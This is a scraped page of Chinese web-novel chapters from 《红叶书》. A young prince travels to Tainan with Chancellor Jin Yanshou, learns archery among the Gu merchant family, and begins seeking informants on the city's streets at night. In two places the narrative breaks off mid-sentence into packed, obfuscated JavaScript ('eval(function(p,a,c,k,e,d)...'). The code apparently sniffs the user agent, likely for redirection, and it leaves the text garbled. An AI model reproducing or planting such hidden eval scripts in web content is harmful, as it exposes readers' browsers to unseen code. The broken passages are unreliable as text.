行至一处驿馆歇息时,梁风下车四处看了看,这小道虽小,但是很干净整洁,能容纳两辆马车并排,沿路驿站比官路密集,而且无人经过。没有阻拦,车队行进速度很快。 他以为是丞相要去另一地额外办些什么事,便没问,但很快发现不对劲。 这速度有点太快了,驿站过路费都不用交,最主要是居然有通山隧道,这小路甚至不用绕山而行。一个白日的功夫抵过走官路时两日的路程。 他觉得这条路有些不寻常,趁再次停下休息用饭时去问了问金延守。 金延守的随行车队人数众多,光是轿子就有三座,且是十六人抬的,分作不同用途,一应吃食、洗沐、公案面面俱全。相比之下,梁风反而不像个王爷做派。 正是午饭时候,金延守每餐都邀梁风同席。他乖乖遵循食不言规矩。饭后,梁风才问出了口,金丞相闻言略微吃惊道:“王爷您不知有这条驿路吗?”继而恍然,“是,您刚从越国过来,不知道也是正常。” “这是一条建后划为我专用的私路,我每月有许多信件寄去太南,这样一条路能方便很多。您看,速度是不是很快?两三日左右便能到太南了。” 想到那些穿山隧道,梁风有些惊到了,“这条路划为私用,百官不会弹劾您吗?” “当然会。”金延守笑笑,“但即便充公,即便我做事做到十全十美,也一样会有人弹劾我,而且未必会比现在少。” 梁风不解,“为什么?” 金延守餐后漱口,拿帕子擦嘴,却问了另一问:“王爷觉得,为官之道,关键在于何?” 梁风一想,没思绪,摇摇头,“不知道。” 金延守捋须一笑,“关键在于中庸。适当松些把柄给旁人握着,大家都能安心。知道我做着坏事,御史那些人也就能少些盯着我,不用时刻关心我何时下台。”就着丫鬟端来的水盆洗手,语气淡然,“极好或极坏,清官或贪官,路都走不长的。” 梁风不知道中庸还能这么理解,有点懂又很不懂。他也被很多人盯着了,可他不敢做坏事。 金丞相解释道:“元和五年出现一场大旱灾,中原各地流民无数,朝廷上下想不出合适的应对之法。我位及丞相后,便请旨调出了部分银子,分派那些流民去凿山。凿山后再修路通山而过,前后共建了五年吧,中原地区这样的路有好几条,只是仅这一条为我私用。” 梁风 “原来是这样。”提及流民,随即想到去年和崔固从怀县回来时遇见的事情,问道:“每年都会有很多流民吗?” 这次金丞相想了很久,才说:“不一定。大周近两百年前的全盛时期,流民是非常少的,只是大周不复从前了,流民才多起来。” “为什么?”梁风问:“我在史书上读到过,前朝也是由盛而衰,衰于流民叛变。我朝的开国武帝就是曾发起叛变的流民首。为什么会衰?一直保持全盛时期不行吗?” 这个问题,他还问过郑熹丘,郑夫子告诉他,因为前朝皇帝昏庸无能。 金延守一笑,“因为物极必反,因为世上所有的事情都会有个开头和结尾。” 梁风没听懂,说:“去年我和崔将军从怀县回来时,遇到了在府衙门口闹事的一大群人,他们为什么会想闹事?” 金延守不知想了什么,看着梁风的双眼,眼里有些鼓励温和的笑容,轻声答:“因为他们日子过得不好。” 梁风想起了那十几个孩子,个个瘦骨嶙峋。 金延守问:“王爷,您觉得您日子过得好吗?” 梁风想了想,垂下头,丧气道:“不好。” “可您不会想着犯上。” 梁风一愣,点头。 “这是因为您离得近,而他们离得太远。离得远了,便不再觉得高位之上的人是神圣不可侵犯的。而且,相比起您在身边能看见的每一个人,那些流民的日子可比我们过得差太多了。” “会有多差?吃不饱饭?” “何止是吃不饱饭。大周如今赋税,十税一,听起来不多,但是层层克扣下来,佃农实际交出的税要占去一半,再加上其他的杂役赋税,只需随意一场天灾,就能压垮大部分农民。” 金延守道:“王爷,很多事情,只从书上学是学不到的,您得亲自去看看。” “可是我看不到,我哪儿都去不了。” “现在哪儿都去不了,但是往后会有机会的。” “那淮南王离陛下也离得远吗?” 话出口他便一惊,意识到自己逾距了,梁风迅速低头,“对不起,我说错话了。” 金延守笑笑,无所谓道:“是人不远,心远。” 梁风忽然意识到所谓远近的区别,就像是之前在朝殿门口金丞相不会把话说得清楚明白,而此刻远离了京城,他说出逾距的话,金丞相却会无所谓。 那二哥愿意有人在背地里偷偷骂他吗? 梁风回到自己的车轿里,跟李晟说了金丞相告诉他的这些事情,他问:“金大人会为自己谋取私利,二哥也是想为自己谋取私心吗?” 老李跟他说:“王爷,在有机会和能力的时候,每一个人都会愿意为自己谋取私心的,何况是淮南王这样的高位。” 梁风想了一想也是,换作是他,如果有机会的话,他说不定也会为自己和身边的人谋取私心的,那样他至少能和母亲生活在一起。只是他没有这样的机会。 行了两日半,抵达太南。尚未入城,太南郡守柳大人带着一行仆从已热烈恭候在城门外,夹道欢迎。梁风被簇拥着住进柳郡守早准备好的府邸,身边又多了许多没见过的下人。 金延守在太南有座别邸,因府后连着一座巨大的马场,所以位置在城北边缘,再往北就出城了,叫做潇别府,住着他的夫人和女儿。同在太南的顾氏主家则位于城东南的方位。 梁风感觉这就像是已经嫁给自己的姑娘却一直住在娘家,每想见她一次还得行上两日半的路程。 不过这是人家的家务事,他管不着。 洗去风尘,踏实睡了一觉,隔日醒来柳郡守遣人来报说金大人在潇别府设了酒宴做东,请他前去。梁风自然答应。 从马车里往外看,太南确实山清水秀,城内行人的姿态、话语和风景布局透出,别有一股与京城不同的悠闲。就连城内河的水声都不似京城那般响亮激切。沿街书肆也多,最大的一条街他就见到了三四所,士子们都穿着青衫白衣,斯斯文文。 来之前他打听过,或许是因为漕运枢纽的地位,使太南郡重商不重武。即便顾家以箭术闻名朝廷,但在本地,包括长泽沿河一带所有郡县,顾氏声望更大的都是商名,包括顾氏主家,都没有配备练武场一类。 太南郡常驻兵好像不到五千,还是因为跟京城离得近,朝廷调过来的。没有合适的位置,金延守只能将潇别府后的马场分派给梁风作为他学箭的场所。 这次设宴,除了接风洗尘,还是为了带他熟悉熟悉以后学箭的环境。 在潇别府门前下车,立刻有金延守身边的小厮迎前,带他进府就宴。与宴人数不多,都是顾家与顾南蕴和金延守亲近之人。 金延守寒门出生,老家在北方一个小县城,他在朝做大后曾想过把家乡的亲属接到京城享福,然而年纪大的人都指望着落叶归根,身子骨不好也经不起一路上京的舟车劳顿。前几年金延守父母相继去世,丞相大人就几乎只在京城与太南之间两头跑了。 金丞相也不纳妾,虽然身处高位,家里人却是不多。梁风想起在越国参加的几场宫宴,那人数简直称得上人山人海。二哥私下里还偷偷告诉过他,其实很多人都认不得脸。 顾家人许是经商的缘故,不拘礼,跟梁风随意地进酒攀谈。梁风来者不拒,一不小心喝得有点多。 顾氏家主顾俨北和金延守也喝了不少。喝得金延守面色泛红,眼神迷离,梁风还是第一次见到这样的金丞相,不由得有些稀奇。 中央舞姬的衣袖还在纷纷扬扬。 “姑父挺能喝的。”身旁顾俨北的长子顾琼同梁风道:“比我见过的大官都要能喝。” 梁风打了个闷嗝,赞同道:“金丞相确实很能喝。” 顾琼忽然说:“王爷,圣旨前几日才下来,这场宴办得有些匆忙,不周到之处还请多担待。” 梁风摇头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾琼朝她甩手,“姑娘家家的,赶紧走赶紧走。” 金絮瞪了他一眼,哼道:“你还赶我?娘亲都没走呢。” 马场用来给梁风习箭,金延守没有其他别邸,因此潇别府的女眷这段时间要搬去顾府暂住。梁风有点不好意思,麻烦她们搬来搬去,但金延守这么安排了,他也就没什么旁的意见。 金絮扭头一看,欢呼起来,“爹爹!” 入口处正是金延守和顾俨北走来,金絮扑抱住金延守,笑得很开怀,“爹爹,你昨天还没给我礼物呢,礼物!” 金延守哈哈笑着,“礼物爹爹当然记着呢,你看。” 金延守递给她一只小盒子,金絮打开一看,是枚簇新的箭头,打磨得极精细。金絮笑起来,“谢谢爹爹!” 梁风瞧着古怪,现在女子喜欢这些东西么。 “走吧,王爷,我带你去射箭场看看。”顾琼跟他道。梁风颔首。 “小絮絮,蕴蕴呢?”金延守问。 “娘亲在骑马呢,还没过来。”金絮略微责怪道:“爹爹,你看你又长胖了,娘亲肯定又要说你。” 金延守嘿嘿一笑。 梁风随同顾琼去往马场西北一角,见远处有人迎面骑着高大的骏马奔驰而来,发尾与鬃毛伴着蹄声上下飞舞,英姿之飒爽令他注目。 离得近了,梁风才发现马上之人竟是个妇人,他微微一愣,脚步不自觉停了。 顾琼附耳同他低声道:“姑母最厉害的是骑术。” 骑术?崔固说过顾南蕴的箭术是十分厉害的,然而顾夫人最擅长的竟是骑术么? 顾南蕴缓速渐近,顾琼唤了一声:“姑母。” 顾南蕴朝他一点头,再下马,走至梁风面前,一身短打行了个妇人礼,“见过应和王。” 梁风道:“免礼。” 女眷没有参宴,梁风这是第一次见到当今丞相夫人顾南蕴。 顾南蕴四十来岁,嘴角旁有两道竖纹,但皱纹里没有阴影,眉毛不像他在越国见过的女子那般细,眼睛明亮熠熠,光看双眼,还以为是年轻人的情态。发髻也不囊肿,不配钗环,梁风还是第一次见到素的妇人髻。 顾南蕴大方一笑,“前边宴会还未结束,我以为金大人不会这么早带您来马场,还望王爷恕罪。” “无妨的。”梁风在越国有时也会见到二哥的两个女儿。 自己家里肯定不会那么拘束的。 顾南蕴便告辞了,“王爷,太南是个好地方,祝您玩得开心。” 梁风闻言愣了,他是来玩的么? 顾南蕴走到金延守面前,叉腰怒道:“金大人?你上次还跟我说你不会再长胖的?!” 金延守因醉酒而泛红的双脸腆着笑,抱住自己夫人,嘴里连连抱歉。 梁风挪开眼,非礼不视。顾琼继续带他往前走。 走出没几步,梁风又忍不住回头看那一家三口,金丞相在夫人甚焰的气势下点头哈腰,连赔不是,而他们的女儿夹在他们中间抱着礼盒欢天喜地。他突然想到从前见二哥抱着与丕时的样子,不由得多看了一眼,才不再看了。 92. 《红叶书》(十二) 梁风禁不住问:“金丞相在朝除了革新税法,还力排众议地扶持商业,就是因为他娶的夫人家里是经商的吗?” 顾琼挠挠头,“不知道诶,当官的肚子里那些弯弯绕绕我也搞不清楚。不过这种事情哪能说得准,喜欢上了还能怎么办?你要喜欢上了谁,哪怕对方是个乞丐......你又能怎么办呢?” 梁风不太懂,他就是这么理解私心的。 顾琼突然拍了一个巴掌,好像相通了什么,贼兮兮靠近梁风,“王爷,你知道女人是怎么回事的么?” “什么意思?”梁风奇怪。 身后顾俨北跟了过来,听见顾琼的话,照脑袋给了他一把掌,“你个小子,在说什么!” 顾琼“哎哟”地一缩头,捂着脑袋干巴巴唤了声“爹。” 顾俨北生得十分高大,脸上被酒液熏红,身上在太阳照射下发着一股刺刺的酒气。 到了射箭场,顾俨北捏住梁风肩膀,“王爷,拉过弓么?” “拉过。”梁风感觉肩膀有点痛。记得金丞相说过,顾俨北年轻时征过沙场,得了不大不小的军功,解甲归乡后继承了祖父的家业,一步步将顾氏坐到了如今名列中原十大商户的位置。 小厮递上弓箭,顾俨北拉弓随意射出一箭,嘴里道:“这东西,也没什么意思。” 话语轻飘飘,利箭却裹挟破城之势刺碎静谧的空气,音爆炸开,激得梁风眼睛一眯。百米之外的箭靶裂成碎片,紧接着,弓弦发出的震颤撞得他耳朵嗡嗡作响。 这是纯粹展示力量与速度的一箭。梁风发现顾俨北用的弓不太一样,弓弦很粗,那支箭也很粗。 射得好的人才有资格说没什么意思,对于不擅弓箭的人来说,意思可太大了。 梁风觉得,这次来太南,真是来对了。 顾俨北做完示范,将弓扔回给小厮,再拍拍梁风肩膀,这次没那么大力了。 “王爷,银子多了,人们才能吃得上饭。” 梁风一愣,顾俨北又道:“战争不会让人们过得更好,银钱才行。” 说完便走了,梁风注视着顾俨北的身影,这话和赵横告诉他的不一样,赵横说战争能换来和平。 他问顾琼:“顾家主箭术如此厉害,为什么当年选择不再从军了?” “因为那年父亲的功名被人顶替了。”顾琼悄悄说:“军营里很多那些高门的子弟浑水摸功名的。” “还有这样的事?” “多得很呢。不过要我说啊,不从军也挺好,放着家业不继承,做那些出生入死的事情干什么?”顾琼闲闲道:“王爷,晚上我带你去醉仙楼,那里的女人......” “混账小子!你要敢去,看老子不打断你的腿!”还未走远的顾俨北听见,转身扔了个东西过来,正中顾琼的脑袋。 顾琼酒后不及反应,又哎哟一声。 * 过了这日,金延守回京城了。他一共休沐六天,剩下两日需赶回京城。 送走金丞相,梁风牵着小马去潇别府。柳郡守安排的府邸没有马厩,而马场里配的马厩非常大,还有专门喂马的小厮,他于是早晨牵过去,入夜再牵回来。 这天去潇别府时,顾琼已经到了。 顾琼略带歉意地告诉他:“王爷,出门的时候,小絮絮非要我带她一起,被她缠得没法子,只能带她过来了。” 梁风拴马,“方便的么?她若是不介意,我倒是都行。” 顾琼想了想道:“主要是都在自己家里,她就无所谓了。她也是被姑母给带得,整日就爱往马场里跑。姑父一走,彻底没人管她了。” “顾夫人对女儿倒是教得蛮松的。” 顾琼哈哈一笑,“顾家一家子都是这样。” 马场里没看到金絮,射箭场里却传出唰唰声。 这小姑娘还会射箭?梁风有几分惊奇,感觉看到了少女时的顾南蕴。 此时箭场里只有她一人,金絮双手手指戴着指套,有模有样地开弓拉弦,飞出的箭头带有几分凌厉,只是箭支稍细,竟不容小觑。 梁风评价:“箭术不错。” “那是当然!”金絮开心地一转头,看见梁风,又收敛开心,福身道:“小女见过应和王。” “不必多礼。”片刻,他又说:“第一次见时行过礼就好。” 金絮抬起头,看着他若有所思,不说话,站到了顾琼旁边。 顾琼从小厮手里拿过一把新弓,递给梁风,“昨日新买的弓,王爷试试。” 梁风接来拉一拉,有点硬。 “哥,我也要。” 梁风低头看她,顺口就说道:“这弓硬了些,你应是拉不开的。” 金絮看了梁风一眼,“没试过怎么知道,要试了再说。”她仍是要,然后抢了顾琼手里的弓,试着拉开,果真拉不开。她顿时有点泄气。 顾琼道:“又不是给你用的,你当然拉不开。去用你惯用的。” 梁风略略一笑。金絮看见了,有些不服气,便说:“王爷,我父亲昨日一早就去京城了。” “嗯,我知道。” “那王爷可知,从京城过来原本只需两日,父亲一路上为了照顾你,便放慢了脚程,多行了半日。”金絮语气怨怨的,“父亲每月总共就只休沐这几日,而你还要占去他半日的空闲。” 梁风愣住,大早起来心里涌起的点点欢松荡然无存。顾琼斥道:“小絮絮,怎么说话呢!” 金絮小小一哼,撇开头去。 “对不起,我不知道。”原来因为他,路上耽搁行程了。 金絮眼珠子又滴溜转过来,小眼神打量着他。 顾琼道:“王爷,你不必道歉的,是这丫头口无遮拦。” 金絮不满,“哥,你站谁呢?” 顾琼瞪了她一眼。 梁风问:“那你希望我补偿么?” 她闻言眼珠子一转,闪闪发亮,“那你用这弓再射一箭。” 梁风依言,真拉弓射出一箭。 金絮紧跟着换她常用的小弓和细箭,追着他射出。 明明在他之后射出,但那箭竟比他还快。细箭擦过他的箭头,风势竟令他的箭偏了细微,最后她正中靶心,而梁风的箭刺中了靶的外缘。 “力气大又怎么样,准头不行。哥,我到那边射去,不和你们一起。”在顾琼真的生气之前,她小跑地溜了。 顾琼讪讪,“王爷,您多担待,这小丫头就是被惯得。” 梁风无所谓笑着,低头弹拉弓弦,“她这是知道,我拉这弓也只是能勉强拉开,并不比她强多少。” 顾琼看了看梁风,梁风是真的没生气。顾琼笑道:“王爷真是好脾气。” 这一日练完,梁风用过膳后准备牵马回府,到马厩时却见他的小马旁站着金絮。 金絮正在给小马喂草,她的手指一下一下梳着鬃毛,小马十分乖顺。她笑得很开心。 “小絮絮,怎么还在这?吃饭了没有?”顾琼走近问道。 “我正在喂它吃饭呢。”金絮看也不看顾琼,爱惜地在小马身上摸来摸去,“哥,这马是给我的吗?” “瞎说什么呢,这是王爷的。你若是想要,我让父亲给你买去。” “哥,你一点都不识马,这可是草原马,外头买不着的。”金絮白了她哥一眼。 顾琼仔细瞅了瞅,“草原马?有什么不同么?” 梁风也走近道:“就是个头大一些,速度快一些,力量强一些,旁的什么区别我也不知道了。” “可是它好像有点瘦。”金絮说:“它应当快一岁了吧,比寻常这个年纪的草原马要瘦小些,王爷不喂它的么?” 梁风有些犹豫道:“喂自然是喂的,只是之前我没什么好东西给它,现在虽然吃得好些了,但还没来得及养胖呢。” 金絮一笑,“我想喂!王爷你就把它留在这里吧,我会常来看它的。” “也行。”他没什么所谓。 “谢谢王爷!”金絮开心地抱住小马。 “哦对了,王爷,它叫什么名字啊?” “名字?”梁风摇头,“没有。” “那王爷你可要好好给它起个名字!” 之后梁风每日上午都在射箭场练箭,大多数时候是顾琼陪着他,顾俨北隔个两日也会过来看看。下午想练再练,不想练便在太南四处游玩,顾琼领他访遍山景名寺。晚上回去看看书。 如顾夫人所言,他来太南似乎的确是来玩的。 只是每日结束时,要将这一天行程告诉给随同他来太南的太监,太监会整理好汇报给陛下。 这日晚上回去,梁风洗漱时,李晟说起那十几个还在客栈里住着的孩子。 “我也拿不准主意,他们又不会读书,又不会习武,我想找人教他们。老李你说怎么办。” 他自己是没办法教的,连同老李,陛下的眼线一直在盯着。 “王爷,我们自己是没办法教的,只能请别人了。” “你有办法?”梁风打心底里不愿意说这是个错误的决定,他既然收了那十几个孩子,自然要管到底。 “江湖上有专门培养死士的地方,我们只要找到能联络上这样地方的人,自然就有办法了。” “死士?”梁风皱眉,“我不希望他们为我去死。” “不,王爷,‘死士’的意思只是代表他们为主子效忠的决心,至于需不需要他们去死是由主子决定的。” “噢,这样的......”梁风眉头不解。 “王爷,不能依靠我们身边这些人,这些都是旁人调来我们身边的,我们得找离我们很远,但又值得信任还不容易让人起疑的人。” 梁风眉毛皱得更深,脸都皱在一起,这可真是太难了。 李晟抚平他的眉毛,“王爷别着急,凡事都可慢慢来,从长计议。” 到了盛夏,梁风的箭术突飞猛进。 金丞相又休沐了几次,每次都住在顾府,几乎不会打扰梁风练箭。梁风有点感激,仿佛躲在了一片桃源,却不知还能躲多久。 他知道机会难得,要好好珍惜这一段时间,陛下说不准会随时召他回去,虽然他觉得,陛下何时让他回去,取决于二哥的动静。 可他完全不知道现在越国国内是什么情况,他想打听点消息,但又怕动作幅度太大,手会伸出了桃源的范围。 于是顾琼每每带他出去玩时,他都刻意打听,只是打听来去,也不知道自己究竟在打听些什么。 这日在靶场练箭,心里一下泄了气,他放下弓箭,看着远处的箭靶,鲜草在微风过处成浪起伏,他忽然感觉很累。 叹口气,蹲下身,揪着鲜草根,他只是不希望自己孤立无援,如果这个时候有人能跟他说“我来帮你!”就好了。 他手指扯断了几根草,心知自己是妄想。 可是也不用有人跟他说这么珍贵的话,只要告诉他,他能去哪里找人帮忙也行。心里列出身边所有人的名字,再一个个排除,除到最后没人剩下了。 再狠叹一气,他站起来,继续拉弓射箭。 “哥,哥!” 梁风闻声侧目,见金絮风风火火从隔壁的箭场小跑过来,他轻声提醒一句:“小心别摔了啊。” 金絮站定,礼道:“王爷。”然后说:“王爷有看到我哥吗?” “没有,他今天没来。”顾家主也没来。 “可是我的弓弦断了。” 梁风一看,果然断了,金絮常用的那张小弓,绷断的弓弦向外侧卷曲。 “没绷到手吧?拿来我看看。” 金絮将弓给他,梁风看了一看便道:“新弦接不好的,只能换一把了。” 金絮遗憾地皱眉,“可是其他的弓我用着不称手。” “你会长大,这弓即便不断,迟早有一天还是会不称手的。” 金絮还没更遗憾,身后传来一声呼唤,她立刻转身,“娘亲。” 原来今天是顾南蕴带着金絮过来的。 “王爷。”顾南蕴向他一礼。梁风点点头。 顾南蕴蹲下揽着金絮,轻声道:“你看是不是修不好,换张新的吧。” 金絮噘着嘴,看着手中握着的断弓。 “絮絮,它既然已经断了,便扔了吧,还有新的呢。” 金絮仍不放手。 顾南蕴十分耐心地哄着:“絮絮,旧了便旧了,不能用便不能用了,实在留不住的,便弃了吧。” “那好吧。”金絮再看了眼手里的断弓,下定决心了倒也痛快,“那就换张新的吧。” 旁边下人拿过断弓,递了张新的给她。 金絮向梁风道:“谢谢王爷。” 梁风一笑,低头看指不言语,心里有点闷闷的。 顾南蕴牵着金絮准备去隔壁,梁风继续端弓射箭,箭支比夏风凌厉。 金絮正回头望,看见他射 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁风寻常是见不到金絮的,因为她要上私塾,下了私塾的空闲时候要么学习琴棋女红,要么和其他商户之女结伴出门玩耍,得是空闲里的空闲,才能到这马场来玩。 之前是住在潇别府里要方便许多,现在搬出去了,再到潇别府来就没那么方便,再加上还有梁风,她来得也就更少了。 可是隔日去到潇别府,又见到她了。 梁风正低头走路,没注意脚下的地砖杂草渐多,等他回神才发现自己行至末路,面前是一堵墙。 他怔了怔,垂首回头,就见金絮在身后隔几步好奇地看着他。 “王爷,你走路是不抬头的么?” 他讪笑,也不知她是什么时候跟过来的,“哪里,没留神而已。” “京城里都是像你这样的人吗?” “我这样的?......恐怕很少吧。” “很少吗?可是娘亲说,京城里很多王爷这样的人。” 他转念一想,道:“也是,我这样的......也很多。” 他往外走去,金絮跟道:“京城里的人是什么样子的?” 什么样子?其实他没有认真看过,小的时候住在京城的日子已经不记得了,去年入京之后他基本待在皇宫里,也不爱出门。 “我不知道啊,我很少跟京城里的百姓打交道。” “我听娘亲说,京城里住着的都是身不由己的人,像父亲那样。” 梁风突然停步,好像还是撞在了墙上,撞得脑袋晕眩,感觉昨天射出去的箭扎在了自己的心口。 金絮睁大了眼睛抬头看他,“王爷?” 嗯?他好像应了一声,但没听见自己的声音,一滴眼泪被双眼挤出。金絮看得稀奇,抬手替他擦去。梁风立刻皱眉道:“男女授受不亲。” 金絮收手,迅速地跑了,“王爷,你说话好像夫子哦。” 梁风吞吐一大口呼吸,继续慢悠悠地往马场走。先去看了看小马,小马壮实了许多,他再从马厩里另选一匹,打算骑上几圈热身。 金絮和一众丫鬟坐在紫藤花亭下,吵吵闹闹地谈论着什么。 梁风御马飞快驰骋了几圈。风透心凉,缕缕雾气飞进鼻腔。 太阳大起来,晒得他心里比马蹄声还烦躁,他下了马,牵着缰绳往回走,路过藤花亭时却没见金絮,她不知又跑到哪里去。 栓了马,去箭场,再次路过藤花亭时注意到亭下石桌上放着本书,他一时好奇,走近看了看,是册话本,支郁笑长生的《豪侠传》。 刚才那些姑娘们聚一起就是在谈论这本书么。 这册书还是珍本,页面也崭新,估计价值不低。 他也不翻动,坐了一会儿,金絮果然回来了。 她小跑着过来,急急切切。 “王爷,你看了么?” 梁风笑着摇头,“没有。” 她急忙将书本抱入怀中,举止带着一丝丝警惕。 梁风苦笑,“我真的没有看,动都没动过呢。” 金絮面色稍松。 “不过你能给我看看么?”梁风道:“我从京城过来,没带上这些书,本来还没心思的,瞧见之后就有点想看了。” 她摇头,“不能给你看,我这书里写了别的。” “那便罢了。”他也不勉强。 金絮若有所思打量他,“王爷,我听说你书读得晚,可认得字么?” 好像那支箭掉了个头射回来,反反复复透胸而出,他猛吸一口气,无奈叹出,“书读得晚,又不是没读过书。” “噢——”金絮小心翼翼看他,小声道:“对不起。” 梁风又无奈地笑了,轻轻斥了她一句:“你这小姑娘,蔫儿坏。” 金絮走近了一步,手臂连同书一起搭在了石桌上,“那王爷,你若是有不认识的字,我教你。” 他苦笑,“我不想人教我,我想人帮我。” 她露牙笑,顺口就说:“那我帮你啊。” 梁风一愣。金絮嘟囔:“王爷也会看这种书吗?我以为你们这种见面需要行礼的人都不看这样的书的。” 他收回恍到不知哪里去的神,道:“看啊,挺好看的书,为什么不看。”话一出口,带着一道暗咳。 可是在越国时,二哥只允许他看这些书,不让与丕他们看的。 93. 《红叶书》(十三) 梁风笑笑,“你能帮我什么,你一个小姑娘,什么都不知道。” 金絮看他的眼神渐渐变得莫名其妙,“王爷可真是空闲,要人帮忙,又说人帮不了。”她小脸露出嫌弃,“那我便不帮你了哦。” 梁风没说话,金絮走开两步,又回头同他说道:“王爷,你的头发,好丑啊。” 他一愣,下意识抬手摸头发,金絮已经一溜烟地跑了。 梁风看了看手里的发尾,然后甩掉,无甚所谓自己头发丑不丑。倒是心里舒畅了许多,这天练完箭,独自上街走了走。 街上小贩见他衣着华贵、气度不凡,纷纷上前哟喝叫卖,梁风一一拒了。 这样走着走着,他突然灵光一闪。 念头转瞬即逝,他没抓着,但一直以来的难题却有了解开的思路。 想找人帮忙,其实不认识的人也可以,不一定非得是跟自己相熟的。像是这些小贩,他们很轻易就能和生人搭话。 但肯定不是什么人都能帮到他,得筛选,那就需要去人多的地方,人多了才能筛选。可是哪里人多呢? 他急急忙忙回府,去问李晟。李晟却不甚欣喜,道:“王爷,不相识的人是用银子换来的,若我们没了银子,或旁人给的银子更多,这些不相识的人便就跟着旁人去了。而且,即便给的银子多,生人也并不忠心,旁人随便打两下就什么都招了。” 梁风有点急,“可是都还没到需要忠心的那一步呢,”他毅然道:“老李,我们先去外面看看再说,你和我一起。” 李晟便被他拉了出去。老李说,人多的地方多是赶集的菜市或繁华的大街之类,梁风就专往这些地方去。 午后菜市的人已少了,市里剩下的东西都是烂菜叶和贩子们遗憾的目光。 他一无所获,改道祈福街。 祈福街不愧是大街,人流如织,车马鼎沸。他融入其中,像是一片叶子融入森林。往常他都是在马车里,很少身临其境,不知沿街商铺里的老板是用着什么目光打量街上的人,不知行人是用着什么表情穿过大街,不知每一个衣袂相触的人怀揣着怎样的心思。 行人匆而不忙,路上遇见相熟还会点头打个招呼。原来邻里间的关系会如此紧密,只是没人和他做邻里。 或许是以前不留心,现在仔细一看,梁风发现这些商铺虽多且种类齐全,但其实只卖了两样东西,一样是用大钱买的东西,一样是用小钱买的东西。 卖小钱东西的人眼神更紧实些,很着急的样子,像是一支将弓撑到满弦的箭,随时能射出。而卖大钱东西的人,浑身上下更沉稳,气定神闲的样子。 梁风若有所思,觉得自己应该是买大钱东西的人,但他现在随身只有小钱。 他选了一间卖杂粮干货的铺子,一进去,掌柜的立刻带笑弯腰凑过来,问他要些什么,然后十分嘴快地将铺子里有的东西全部念了一遍。梁风愣愣听着,有些手足无措,呐呐道:“我想要......能帮我的人。” “哎哎,小人便是能帮着您的人呐。”掌柜的脸上每一寸纹理都笑着,“你置办些东西回去,小人可不就帮着您了不是。” 可他不是要这种。梁风狐疑地看着掌柜,掌柜仍是满脸腆着笑。 他随即反应过来,刚才一闪即逝的念头,是他发现他所需要的东西和这些贩商所贩之物存在不同,他们卖的不是他想要的,而他想要的却没人卖。 但如果是有人卖,只是他没发现呢。那么他就得去找。 他去找,或者是那些人找上门,可是他要怎么知道那些人在哪里,或是让那些人知道他在这呢? 他又去卖大钱东西的店里试了试。 是间珠宝铺子,琳琅满目地晃眼睛。掌柜的站在柜子旁,与他招呼。梁风问:“有没有能帮我的人?” “不知公子说的是何人?您需要什么样的人帮您?”掌柜问。 “我不知道,我想知道的就是我需要什么样的人帮我。” 掌柜做恍然状,沉吟道:“或许公子不应该到我这珠宝铺子里来,您应当去别处。” “那我应该去哪里?” “您......晚些时候再四处问问吧。” 梁风从铺子里出来,很茫然。 李晟道:“王爷不如入了夜再找找看。” “为什么要等入了夜?” “因为天黑后,街上的人或许和白天的人会不一样。” 哪里不一样?梁风很疑惑。但他还是依言在天黑后上街。 他没觉得有什么不一样,天黑后路上的灯笼点亮了,气温凉下来,除此之外跟白日里都相同。 他疑惑地看着老李,老李笑而不语。 梁风只能更认真搜寻被他忽略的地方,渐渐地,倒也发现了细微的不同。 街上多了很多零散的人,穿着泥渍烂衫,面黄肌瘦,缩蹲在墙角旮沓,浑浊的眼睛逡巡着行人。每一条街都能看见两三个这样的人,隐秘在人群的角落。行人路过他们身旁,目光从不斜视。 梁风被他们盯得感觉毛毛的,忍不住低声问老李:“他们是什么人?”生怕声音一大就会被他们听见。 李晟道:“王爷,这些是无家可归的人啊。他们没有钱财没有住所,夜里气温凉了就出来活动,白日里气温高随便找块地方睡了,冬天时这样昼夜颠倒才不会冻死,时日一长,夏天就也习惯这样了。” “可我白天怎么没看见他们?” “他们都藏着睡呢,藏在暗处,要在夜里找他们,才找得到。” “为什么要藏在暗处?”说完梁风自己反应过来,“是因为官府会抓他们?” 李晟笑着点点头。 梁风后知后觉地恍然,眼睛瞪大,“老李,你都知道?你怎么不告诉我?” 李晟笑了笑,“王爷,许多事情是得靠自己悟的,才能懂得更深刻。开悟后,再有想不明白之处才依靠旁人点醒。” 梁风瞪视老李,扭头不再说话,但背过老李之后,心里涌起一阵极强烈的喜悦,他忍不住笑。 梁风在一个壁影覆盖的角落里找到两三个人,踌躇地看着他们不知该如何开口,正想直接上前去问时,老李拉住他,道:“王爷,这些活在角落里的人十分懂得分辨什么样的人会是‘客人’,你只需要做一个信号,不需要往前,他们会自己找过来。” “什么信号?” “眼神。有两种,一种是看着他们是‘需要’而不是警惕的眼神,另一种则是跟他们持相同眼神的人。” 梁风不是很懂,但老李说话点到为止。他又看看那几个人,还是想上前问一番,这么想着,那三个人里其中一个突然站起身,朝他走来。 梁风一顿,牢牢盯着站住不动。那人走出壁影之下,露出瘦削的身形,衣衫旧烂沾着草屑砂石,暗沉的肤色斑斑点点、深浅不一,开口便问:“什么?” 这人牙齿好烂,而且很臭,梁风胃里一阵恶心,想的却是“什么”是什么意思? 他飞快思索,选择问了一个更具体的问题:“你知道有什么人能告诉我现在越国的情况吗?” 这人看了他身后的李晟一眼,道:“西大街,瓷铺子。” 梁风快恶心吐了,知道后立即想走,刚侧身迈出一步,这人飞快地抓住他的手臂,不让他走。梁风有些不满,扯了扯手臂无法收回,这人只咧嘴暗示地看着他。 李晟立即掏出一颗碎银递给这人,拉回梁风手臂,然后快速带着梁风走了。 梁风回头看了一眼这个嘴巴烂臭的人,见他捻着碎银与自己对望,像是在说“下次再来”。 梁风收回视线,什么都没问,径直去西大街找瓷铺子。 可是找了一圈没找到。 他站在街头沉思,然后找了第二圈。第二圈没找完,意识到自己找错了方向,他转身钻进一条暗巷子。 巷子里,李晟再次拉住他,道:“王爷,再往前就危险了,明日天亮后再来。” 